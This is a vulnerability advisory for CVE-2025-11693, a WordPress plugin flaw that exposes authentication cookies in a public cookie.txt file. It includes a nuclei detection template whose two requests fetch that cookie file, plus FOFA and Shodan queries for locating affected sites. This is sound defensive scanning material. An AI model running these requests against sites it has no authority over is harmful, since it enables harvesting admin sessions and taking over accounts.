Export WP Page to Static HTML <= 4.3.4 - Cookie Exposure

criticalseverity

9.8CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

Export WP Page to Static HTML & PDF WordPress plugin <= 4.3.4 contains a sensitive information exposure caused by publicly exposed cookies.txt files with authentication cookies, letting unauthenticated attackers access sensitive authentication data, exploit requires site administrator to trigger backup with specific user role.

Impact

Unauthenticated attackers can access authentication cookies, potentially leading to account compromise or unauthorized access.

Fix

Update to the latest version beyond 4.3.4.

How to confirm it

Send: GET /wp-content/plugins/export-wp-page-to-static-html/README.txt
Positive when: status_code == 200 and contains(body, 'Export WP Page')
Send: GET /wp-content/uploads/exported_html_files/cookie.txt
Positive when: status_code == 200 and contains(body, 'wordpress') and contains_all(body, 'TRUE', 'FALSE', 'HttpOnly')

Run it with nuclei: nuclei -id CVE-2025-11693 -u <target>

The full check

id: CVE-2025-11693

info:
  name: Export WP Page to Static HTML <= 4.3.4 - Cookie Exposure
  author: 0x_Akoko
  severity: critical
  description: |
   Export WP Page to Static HTML & PDF WordPress plugin <= 4.3.4 contains a sensitive information exposure caused by publicly exposed cookies.txt files with authentication cookies, letting unauthenticated attackers access sensitive authentication data, exploit requires site administrator to trigger backup with specific user role.
  impact: |
   Unauthenticated attackers can access authentication cookies, potentially leading to account compromise or unauthorized access.
  remediation: |
   Update to the latest version beyond 4.3.4.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/export-wp-page-to-static-html/export-wp-page-to-static-html-pdf-434-unauthenticated-cookie-exposure-via-log-file
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11693
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-11693
    epss-score: 0.02087
    epss-percentile: 0.81739
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/wp-content/plugins/export-wp-page-to-static-html/"
    shodan-query: http.html:"/wp-content/plugins/export-wp-page-to-static-html/"
  tags: cve,cve2025,wordpress,wp,wp-plugin,export-wp-page-to-static-html,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/export-wp-page-to-static-html/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Export WP Page')"
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/exported_html_files/cookie.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'wordpress')"
          - "contains_all(body, 'TRUE', 'FALSE', 'HttpOnly')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from